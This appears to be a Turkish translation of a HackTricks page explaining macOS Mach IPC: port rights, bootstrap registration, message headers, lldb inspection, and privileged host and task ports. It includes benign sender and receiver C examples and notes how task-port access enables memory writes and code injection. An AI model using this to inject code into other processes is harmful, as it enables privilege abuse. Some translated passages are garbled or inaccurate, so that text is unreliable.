Turkish - Ht
HackTricks Training Twitter Linkedin Sponsor

macOS IPC - Inter Process Communication

HackTricks'i Destekleyin

Portlar Aracılığıyla Mach Mesajlaşması

Temel Bilgiler

Mach, kaynakları paylaşmak için görevleri en küçük birim olarak kullanır ve her görev çoklu iş parçacığı içerebilir. Bu görevler ve iş parçacıkları POSIX işlemlerine ve iş parçacıklarına 1:1 eşlenir.

Görevler arasındaki iletişim, Mach İşlem Arası İletişim (IPC) aracılığıyla gerçekleşir ve tek yönlü iletişim kanallarını kullanır. Mesajlar portlar arasında aktarılır, bu portlar çekirdek tarafından yönetilen bir tür mesaj kuyruğu gibi davranır.

Bir port, Mach IPC'nin temel öğesidir. Bu, mesaj göndermek ve almak için kullanılabilir.

Her işlemde bir IPC tablosu bulunur, burada işlemin mach portları bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi).

Bir işlem ayrıca bir port adını bazı haklarla farklı bir göreve gönderebilir ve çekirdek bu girişi diğer görevin IPC tablosuna ekler.

Port Hakları

İletişimde önemli olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan port hakları şunlardır (buradan tanımlamalar):

  • Alma hakkı, porta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki tüm sistemde bir port için yalnızca bir alma hakkı olabilir (borular gibi, burada birden fazla işlem, aynı borunun okuma ucuna ait dosya tanımlayıcılarına sahip olabilir).

  • Alma hakkına sahip bir görev, mesajları alabilir ve Gönderme hakları oluşturabilir, böylece mesaj gönderebilir. Başlangıçta yalnızca kendi görevi, portun üzerinde Alma hakkına sahiptir.

  • Alma hakkının sahibi öldüğünde veya onu sonlandırdığında, gönderme hakkı işlevsiz hale gelir (ölü ad).

  • Gönderme hakkı, porta mesaj göndermeyi sağlar.

  • Gönderme hakkı kopyalanabilir, böylece Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve üçüncü bir göreve verilebilir.

  • Port hakları ayrıca Mac mesajları aracılığıyla da geçirilebilir.

  • Bir kez gönderme hakkı, porta bir mesaj göndermeyi ve ardından kaybolmayı sağlar.

  • Bu hak kopyalanamaz, ancak taşınabilir.

  • Port kümesi hakkı, yalnızca tek bir port değil bir port kümesini belirtir. Bir port kümesinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarır. Port kümeleri, Unix'teki select/poll/epoll/kqueue gibi aynı anda birkaç porta dinlemek için kullanılabilir.

  • Ölü ad, gerçek bir port hakkı değil, yalnızca bir yer tutucudur. Bir port yok edildiğinde, portun tüm mevcut port hakları ölü adlara dönüşür.

Görevler, SEND haklarını başkalarına aktarabilir, böylece onlara geri mesaj gönderme yetkisi verilebilir. SEND hakları da klonlanabilir, böylece bir görev hakkı çoğaltabilir ve üçüncü bir göreve verebilir. Bu, aracı bir süreç olan başlangıç sunucusu ile birlikte, görevler arasında etkili iletişim sağlar.

Dosya Portları

Dosya portları, dosya tanımlayıcılarını Mac portlarına (Mach port hakları kullanarak) kapsüllüyebilir. Belirli bir FD'den fileport_makeport kullanarak bir fileport oluşturmak ve bir FD oluşturmak mümkündür.

İletişim Kurma

Daha önce belirtildiği gibi, Mach mesajları aracılığıyla hakları göndermek mümkündür, ancak zaten bir Mach mesajı gönderme hakkına sahip olmadan bir hakkı gönderemezsiniz. Peki, ilk iletişim nasıl kurulur?

Bu durumda, başlangıç sunucusu (mac'de launchd) devreye girer, çünkü herkes başlangıç sunucusuna bir SEND hakkı alabilir, böylece başka bir işleme mesaj göndermek için bir hakkı istemek mümkündür:

  1. Görev A, ALMA hakkı alarak yeni bir port oluşturur.

  2. ALMA hakkının sahibi olan Görev A, port için bir GÖNDERME hakkı oluşturur.

  3. Görev A, başlangıç sunucusu ile bir bağlantı kurar ve başlangıçta oluşturduğu porta ait GÖNDERME hakkını sunucuya gönderir.

  • Unutmayın ki herkes başlangıç sunucusuna bir GÖNDERME hakkı alabilir.

  1. Görev A, başlangıç sunucusuna bir bootstrap_register mesajı göndererek verilen portu com.apple.taska gibi bir isimle ilişkilendirir.

  2. Görev B, hizmet adı için bir başlangıç araması yapmak üzere başlangıç sunucusu ile etkileşime girer (bootstrap_lookup). Sunucu yanıt verebilsin diye, görev B, arama mesajı içinde önceden oluşturduğu bir port için bir GÖNDERME hakkı gönderir. Arama başarılıysa, sunucu Task A'dan aldığı GÖNDERME hakkını kopyalar ve Task B'ye iletir.

  • Unutmayın ki herkes başlangıç sunucusuna bir GÖNDERME hakkı alabilir.

  1. Bu GÖNDERME hakkı ile Görev B, Görev A'ya bir mesaj gönderebilir.

  2. İki yönlü iletişim için genellikle görev B, bir ALMA hakkı ve bir GÖNDERME hakkı olan yeni bir port oluşturur ve Görev A'ya GÖNDERME hakkını verir, böylece Görev A, GÖREV B'ye mesaj gönderebilir (iki yönlü iletişim).

Başlangıç sunucusu hizmet adını doğrulayamaz. Bu, bir görevin potansiyel olarak herhangi bir sistem görevini taklit edebileceği anlamına gelir, örneğin yanlışlıkla bir yetkilendirme hizmet adı iddia edebilir ve ardından her isteği onaylayabilir.

Daha sonra, Apple, sistem tarafından sağlanan hizmetlerin adlarını güvenli yapılandırma dosyalarında saklar, bu dosyalar SIP korumalı dizinlerde bulunur: /System/Library/LaunchDaemons ve /System/Library/LaunchAgents. Her hizmet adının yanında, ilişkili ikili dosya da saklanır. Başlangıç sunucusu, bu hizmet adları için her biri için bir ALMA hakkı oluşturur ve saklar.

Bu önceden tanımlanmış hizmetler için, arama süreci biraz farklıdır. Bir hizmet adı aranırken, launchd hizmeti dinamik olarak başlatır. Yeni iş akışı şöyle işler:

  • Görev B, bir hizmet adı için bir başlangıç araması başlatır.

  • launchd, görevin çalışıp çalışmadığını kontrol eder ve çalışmıyorsa, başlatır.

  • Görev A (hizmet), bir başlangıç kontrolü yapar (bootstrap_check_in()). Burada, başlangıç sunucusu bir GÖNDERME hakkı oluşturur, saklar ve ALMA hakkını Görev A'ya aktarır.

  • launchd, GÖNDERME hakkını kopyalar ve Görev B'ye iletir.

  • Görev B, bir ALMA hakkı ve bir GÖNDERME hakkı olan yeni bir port oluşturur ve Görev A'ya GÖNDERME hakkını verir (hizmet), böylece Görev A, GÖREV B'ye mesaj gönderebilir (iki yönlü iletişim).

Ancak, bu süreç yalnızca önceden tanımlanmış sistem görevleri için geçerlidir. Sistem dışı görevler hala önceki şekilde çalışır, bu da potansiyel olarak taklit edilmesine izin verebilir.

Bu nedenle, launchd asla çökmemeli veya tüm sistem çökecektir.

Bir Mach İletisi

Daha fazla bilgiyi burada bulabilirsiniz

mach_msg işlevi, temelde bir sistem çağrısı olup Mach iletilerini göndermek ve almak için kullanılır. İşlev, iletilmesi gereken iletiyi başlangıç argümanı olarak gerektirir. Bu ileti, bir mach_msg_header_t yapısı ile başlamalı ve ardından gerçek ileti içeriği gelmelidir. Yapı aşağıdaki gibi tanımlanmıştır:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

İşlemciler, bir Mach bağlantı noktasında ileti almak için bir alma hakkına sahip olabilirler. Tersine, gönderenler bir gönderme veya bir kez gönderme hakkına sahiptir. Bir kez gönderme hakkı yalnızca bir ileti göndermek için kullanılır, ardından geçersiz hale gelir.

Başlangıç alanı msgh_bits bir bit eşlemidir:

  • İlk bit (en anlamlı) bir ileti'nin karmaşık olduğunu belirtmek için kullanılır (aşağıda daha fazla bilgi)

    1. ve 4. bitler çekirdek tarafından kullanılır

    1. baytın en az 5 anlamlı bitsi makbuz için kullanılabilir: anahtar/değer kombinasyonları göndermek için başka bir bağlantı nokta türü.

    1. baytın en az 5 anlamlı bitsi yerel bağlantı noktası için kullanılabilir

    1. baytın en az 5 anlamlı bitsi uzak bağlantı noktası için kullanılabilir

Makbuzda, yerel ve uzak bağlantı noktalarında belirtilebilecek türler mach/message.h adresinden alınabilir:

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

Örneğin, MACH_MSG_TYPE_MAKE_SEND_ONCE, bu bağlantı noktası için türetilmiş ve aktarılmış bir tek seferlik gönderme hakkının belirtildiğini belirtmek için kullanılabilir. Alıcı yanıt veremez şeklinde alıcının yanıt vermesini engellemek için de MACH_PORT_NULL belirtilebilir.

Kolay iki yönlü iletişim sağlamak için bir işlem, yanıt bağlantı noktası (msgh_local_port olarak adlandırılan) olarak adlandırılan bir mach mesaj başlığı içinde bir mach bağlantı noktası belirtebilir, mesajın alıcısı bu mesaja yanıt gönderebilir.

Bu tür iki yönlü iletişimin XPC mesajlarında kullanıldığını unutmayın (xpc_connection_send_message_with_reply ve xpc_connection_send_message_with_reply_sync). Ancak genellikle farklı bağlantı noktaları oluşturulur, önceki açıklamalarda açıklandığı gibi iki yönlü iletişimi oluşturmak için.

Mesaj başlığının diğer alanları şunlardır:

  • msgh_size: tüm paketin boyutu.

  • msgh_remote_port: bu mesajın gönderildiği bağlantı noktası.

  • msgh_voucher_port: mach fişleri.

  • msgh_id: bu mesajın kimliği, alıcı tarafından yorumlanır.

Mach mesajları, mach çekirdeğine yerleştirilmiş tek alıcı, çoklu gönderen iletişim kanalı olan bir mach bağlantı noktası üzerinden gönderilir. Birden fazla işlem, bir mach bağlantı noktasına mesaj gönderebilir, ancak herhangi bir anda yalnızca bir işlem ondan okuyabilir.

Mesajlar daha sonra mach_msg_header_t başlık ile başlar, ardından gövde ve trailer (varsa) gelir ve yanıt verme izni verebilir. Bu durumlarda, çekirdek sadece mesajı bir görevden diğerine iletmelidir.

Bir trailer, kullanıcı tarafından ayarlanamayan mesaja çekirdek tarafından eklenen bilgidir ve alıcıdan bu bilgiyi talep etmek için MACH_RCV_TRAILER_<trailer_opt> bayrakları kullanılır (talep edilebilecek farklı bilgiler vardır).

Karmaşık Mesajlar

Ancak, ek port hakları geçiren veya belleği paylaşan daha karmaşık mesajlar gibi diğer mesajlar da vardır, bu durumlarda çekirdek bu nesneleri alıcıya göndermek zorundadır. Bu durumlarda, başlık msgh_bits'in en anlamlı biti ayarlanır.

Geçirilebilecek olası tanımlayıcılar mach/message.h içinde tanımlanmıştır.

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

Mac Port API'leri

Portlar görev ad alanına bağlı olduğundan, bir port oluşturmak veya aramak için görev ad alanı da sorgulanır (daha fazlası için mach/mach_port.h):

  • mach_port_allocate | mach_port_construct: Bir port oluşturur.

  • mach_port_allocate ayrıca bir port seti oluşturabilir: bir grup port üzerinde alınan hak. Bir mesaj alındığında, mesajın nereden geldiği belirtilir.

  • mach_port_allocate_name: Portun adını değiştirir (varsayılan olarak 32 bitlik tamsayı)

  • mach_port_names: Bir hedeften port adlarını alır

  • mach_port_type: Bir görevin bir ada sahip olma haklarını alır

  • mach_port_rename: Bir portun adını değiştirir (FD'ler için dup2 gibi)

  • mach_port_allocate: YENİ ALMA, PORT_SET veya DEAD_NAME oluşturur

  • mach_port_insert_right: ALMA hakkına sahip olduğunuz bir portta yeni bir hak oluşturur

  • mach_port_...

  • mach_msg | mach_msg_overwrite: Mach mesajları göndermek ve almak için kullanılan işlevler. Üzerine yazma sürümü, mesaj alımı için farklı bir tampon belirtmeyi sağlar (diğer sürüm sadece onu yeniden kullanır).

Debug mach_msg

mach_msg ve mach_msg_overwrite işlevlerinin gönderme ve alma işlemlerinde kullanıldığı için bunlara bir kesme noktası ayarlamak gönderilen ve alınan mesajları incelemeyi sağlar.

Örneğin, bu işlevi kullanan libSystem.B'yi yükleyecek herhangi bir uygulamayı hata ayıklamaya başlayın.

(lldb) b mach_msg
Kesme Noktası 1: nerede = libsystem_kernel.dylib`mach_msg, adres = 0x00000001803f6c20
(lldb) r
İşlem 71019 başlatıldı: '/Users/carlospolop/Desktop/sandboxedapp/SandboxedShellAppDown.app/Contents/MacOS/SandboxedShellApp' (arm64)
İşlem 71019 durdu
* thread #1, queue = 'com.apple.main-thread', duraklama nedeni = kesme noktası 1.1
frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
libsystem_kernel.dylib`mach_msg:
->  0x181d3ac20 <+0>:  pacibsp
0x181d3ac24 <+4>:  sub    sp, sp, #0x20
0x181d3ac28 <+8>:  stp    x29, x30, [sp, #0x10]
0x181d3ac2c <+12>: add    x29, sp, #0x10
Hedef 0: (SandboxedShellApp) durdu.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', duraklama nedeni = kesme noktası 1.1
* frame #0: 0x0000000181d3ac20 libsystem_kernel.dylib`mach_msg
frame #1: 0x0000000181ac3454 libxpc.dylib`_xpc_pipe_mach_msg + 56
frame #2: 0x0000000181ac2c8c libxpc.dylib`_xpc_pipe_routine + 388
frame #3: 0x0000000181a9a710 libxpc.dylib`_xpc_interface_routine + 208
frame #4: 0x0000000181abbe24 libxpc.dylib`_xpc_init_pid_domain + 348
frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168

mach_msg'nin argümanlarını almak için kayıtları kontrol edin. Bu argümanlar şunlardır (mach/message.h adresinden):

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

Kayıtlardan değerleri alın:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

İlk argümanı kontrol ederek mesaj başlığını inceleyin:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

O tür mach_msg_bits_t, bir yanıtı izin vermek için çok yaygındır.

Bağlantı noktalarını sırala

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

İsim, bağlantı noktasına verilen varsayılan addır (ilk 3 baytın nasıl arttığını kontrol edin). ipc-object ise bağlantı noktasının şifrelenmiş benzersiz tanımlayıcısıdır. Ayrıca, yalnızca send hakkına sahip bağlantı noktalarının sahibini belirlediğine dikkat edin (bağlantı noktası adı + pid). Ayrıca, diğer görevleri belirtmek için + işaretinin kullanımına dikkat edin.

Ayrıca, procesxp kullanarak kayıtlı hizmet adlarını (SIP devre dışı bırakıldığında com.apple.system-task-port gerektiğinden) görmek mümkündür:

procesp 1 ports

iOS'ta bu aracı indirerek yükleyebilirsiniz http://newosxbook.com/tools/binpack64-256.tar.gz

Kod örneği

Göndericinin nasıl bir bağlantı noktası ayırdığını, org.darlinghq.example adı için bir gönderme hakkı oluşturduğunu ve bunu önyükleme sunucusuna gönderdiğini, göndericinin o ad için gönderme hakkını istediğini ve bunu kullanarak bir mesaj gönderdiğini görebilirsiniz.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

Dosya gönderme işlemi için kullanılan C programı. Bu program, alıcıya bir dosya göndermek için IPC soketlerini kullanır. Bu, iki işlem arasında iletişim kurmak için kullanılan bir yöntemdir. Bu program, dosya adını ve boyutunu alıcıya gönderir ve ardından dosyanın içeriğini gönderir. Bu işlem, dosya gönderme işlemini gerçekleştirmek için alıcı programla birlikte çalışır.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

Ayrıcalıklı Bağlantı Noktaları

Belirli hassas eylemleri gerçekleştirmeye veya belirli hassas verilere erişmeye izin veren bazı özel bağlantı noktaları vardır, bir görevin üzerlerinde GÖNDERME izinlerine sahip olması durumunda. Bu, bu bağlantı noktalarını saldırganlar açısından çok ilginç kılar, sadece yeteneklerinden değil, aynı zamanda GÖNDERME izinlerinin görevler arasında paylaşılabilir olmasından dolayı.

Ana Bilgisayar Özel Bağlantı Noktaları

Bu bağlantı noktaları bir numara ile temsil edilir.

GÖNDERME hakları, host_get_special_port çağrısı ile elde edilebilir ve ALMA hakları host_set_special_port çağrısı ile elde edilebilir. Ancak, her iki çağrı da yalnızca kökün erişebileceği host_priv bağlantı noktasını gerektirir. Ayrıca, geçmişte kök, örneğin HOST_KEXTD_PORT'u ele geçirerek kod imzalarını atlayarak izin veren keyfi bağlantı noktalarını ele geçirebiliyordu (SIP şimdi buna engel oluyor).

Bunlar 2 gruba ayrılır: İlk 7 bağlantı noktası çekirdek tarafından sahiplenilir; 1 HOST_PORT, 2 HOST_PRIV_PORT, 3 HOST_IO_MASTER_PORT ve 7 HOST_MAX_SPECIAL_KERNEL_PORT'dur. 8'den başlayanlar ise sistem hizmetlileri tarafından sahiplenilir ve host_special_ports.h dosyasında tanımlanmıştır.

  • Ana bilgisayar bağlantı noktası: Bir işlem bu bağlantı noktası üzerinde GÖNDERME ayrıcalığına sahipse, sistem hakkında bilgi alabilir ve aşağıdaki rutinlerini çağırarak işlemlerini gerçekleştirebilir:

  • host_processor_info: İşlemci bilgilerini al

  • host_info: Ana bilgisayar bilgilerini al

  • host_virtual_physical_table_info: Sanal/Fiziksel sayfa tablosu (MACH_VMDEBUG gerektirir)

  • host_statistics: Ana bilgisayar istatistiklerini al

  • mach_memory_info: Çekirdek bellek düzenini al

  • Ana bilgisayar Ayrıcalıklı bağlantı noktası: Bu bağlantı noktası üzerinde GÖNDERME hakkı olan bir işlem, örneğin önyükleme verilerini gösterme veya bir çekirdek uzantısını yükleme gibi ayrıcalıklı eylemler gerçekleştirebilir. Bu izne sahip olmak için işlemin kök olması gerekir.

  • Ayrıca, kext_request API'sını çağırmak için yalnızca Apple ikililerine verilen com.apple.private.kext* diğer ayrıcalıklara ihtiyaç vardır.

  • Çağrılabilen diğer rutinler şunlardır:

  • host_get_boot_info: machine_boot_info()'yu al

  • host_priv_statistics: Ayrıcalıklı istatistikleri al

  • vm_allocate_cpm: Ardışık Fiziksel Bellek Ayır

  • host_processors: İşlemcilere gönderme hakkı

  • mach_vm_wire: Belleği yerleşik yap

  • Kök bu izne erişebildiği için, host_set_[special/exception]_port[s]'ı çağırarak ana bilgisayar özel veya istisna bağlantı noktalarını ele geçirebilir.

Tüm ana bilgisayar özel bağlantı noktalarını görmek mümkündür:

procexp all ports | grep "HSP"

Görev Özel Portları

Bunlar, tanınmış hizmetler için ayrılmış portlardır. Onları task_[get/set]_special_port çağırarak almak/ayarlamak mümkündür. Onlar task_special_ports.h dosyasında bulunabilir:

typedef	int	task_special_port_t;

#define TASK_KERNEL_PORT	1	/* Represents task to the outside
world.*/
#define TASK_HOST_PORT		2	/* The host (priv) port for task.  */
#define TASK_BOOTSTRAP_PORT	4	/* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT	5	/* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT	6	/* Paged resource ledger for task. */

Buradan:

  • TASK_KERNEL_PORT[görev-kendisi gönderme hakkı]: Bu görevi kontrol etmek için kullanılan bağlantı noktası. Görevi etkileyen mesajları göndermek için kullanılır. Bu, mach_task_self (aşağıdaki Görev Bağlantı Noktaları'na bakınız) tarafından döndürülen bağlantı noktasıdır.

  • TASK_BOOTSTRAP_PORT[başlatma gönderme hakkı]: Görevin başlatma bağlantı noktası. Diğer sistem hizmeti bağlantı noktalarının geri dönüşünü istemek için mesaj göndermek için kullanılır.

  • TASK_HOST_NAME_PORT[ana-gönderme hakkı]: İçeren ana bilgisayarın bilgilerini istemek için kullanılan bağlantı noktası. Bu, mach_host_self tarafından döndürülen bağlantı noktasıdır.

  • TASK_WIRED_LEDGER_PORT[defter gönderme hakkı]: Bu görevin kablolu çekirdek belleğini çektiği kaynağı adlandıran bağlantı noktası.

  • TASK_PAGED_LEDGER_PORT[defter gönderme hakkı]: Bu görevin varsayılan bellek yönetilen belleğini çektiği kaynağı adlandıran bağlantı noktası.

Görev Bağlantı Noktaları

Başlangıçta Mach'ta "işlemler" değil, "görevler" vardı ve bu daha çok bir iş parçacığı konteynırı olarak kabul ediliyordu. Mach, BSD ile birleştirildiğinde her görev bir BSD işlemiyle ilişkilendirildi. Bu nedenle her BSD işleminin bir işlem olması için gereken ayrıntılara sahip olması ve her Mach görevinin de iç işleyişi olması (kernel_task olan mevcut pid 0 hariç).

Bununla ilgili iki çok ilginç işlev bulunmaktadır:

  • task_for_pid(hedef_görev_bağlantı_noktası, pid, &pid_li_görev_bağlantı_noktası): Belirtilen pid ile ilişkilendirilen görevin görev bağlantı noktası için BİRİM hakkı alın ve genellikle mach_task_self() kullanan çağrılan görev olan hedef_görev_bağlantı_noktası'na verilir (ancak farklı bir görev üzerinde bir BİRİM bağlantı noktası olabilir).

  • pid_for_task(görev, &pid): Bir göreve BİRİM hakkı verildiğinde, bu görevin hangi PID ile ilişkili olduğunu bulun.

Görev içinde işlem yapabilmek için görevin kendine SEND hakkına ihtiyacı vardı ve mach_task_self()'i çağırarak bu izni alıyordu (task_self_trap (28) kullanır). Bu izinle bir görev, aşağıdaki gibi çeşitli işlemleri gerçekleştirebilir:

  • task_threads: Görevin iş parçacıklarının tüm görev bağlantı noktaları üzerinde BİRİM hakkı alın

  • task_info: Bir görev hakkında bilgi al

  • task_suspend/resume: Bir görevi askıya al veya devam ettir

  • task_[get/set]_special_port

  • thread_create: Bir iş parçacığı oluştur

  • task_[get/set]_state: Görev durumunu kontrol et

  • ve daha fazlası mach/task.h içinde bulunabilir

Farklı bir görevin bir görev bağlantı noktası üzerinde BİRİM hakkı ile, farklı bir görev üzerinde bu tür işlemleri gerçekleştirmek mümkündür.

Ayrıca, görev_bağlantı_noktası aynı zamanda vm_map bağlantı noktasıdır ve vm_read() ve vm_write() gibi işlevlerle bir görev içinde belleği okuma ve değiştirme izni verir. Bu temelde, farklı bir görevin görev_bağlantı_noktası üzerinde BİRİM haklarına sahip bir görevin, o göreve kod enjekte etme yeteneğine sahip olacağı anlamına gelir.

Unutmayın ki kernel de bir görev olduğundan, biri kernel_task üzerinde BİRİM izinleri almayı başarırsa, kernelin herhangi bir şeyi yürütmesini sağlayabilir (jailbreak).

  • Çağrı yapmak için mach_task_self() ve çalışan görev için bu bağlantı noktasının adını alın. Bu bağlantı noktası yalnızca exec() sırasında miras alınır; fork() ile oluşturulan yeni bir görev yeni bir görev bağlantı noktası alır (exec()'den sonra bir suid ikili dosyada da bir görev yeni bir görev bağlantı noktası alır). Bir görevi başlatmak ve bağlantı noktasını almanın tek yolu, bir fork() yaparken "port takası dansı" gerçekleştirmektir.

  • Bu, bağlantı noktasına erişim kısıtlamalarıdır (AppleMobileFileIntegrity ikilisinden macos_task_policy'den):

  • Uygulamanın com.apple.security.get-task-allow yetkisi varsa, aynı kullanıcıdan işlemler görev bağlantı noktasına erişebilir (genellikle hata ayıklama için Xcode tarafından eklenir). Notarizasyon süreci bunu üretim sürümlerine izin vermez.

